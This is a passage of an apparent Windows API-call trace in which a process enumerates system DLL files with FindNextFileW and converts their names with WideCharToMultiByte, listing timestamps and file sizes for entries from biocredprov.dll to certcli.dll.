lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0xd3c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0193.999] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.999] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.000] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.000] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.000] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.000] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.000] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.000] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.000] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0194.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.001] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.001] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.001] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0xd3c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0194.001] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0xd3c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0194.001] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.001] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.001] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0194.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0xd3c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0194.002] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.002] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.002] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.002] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.002] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0194.002] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.002] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 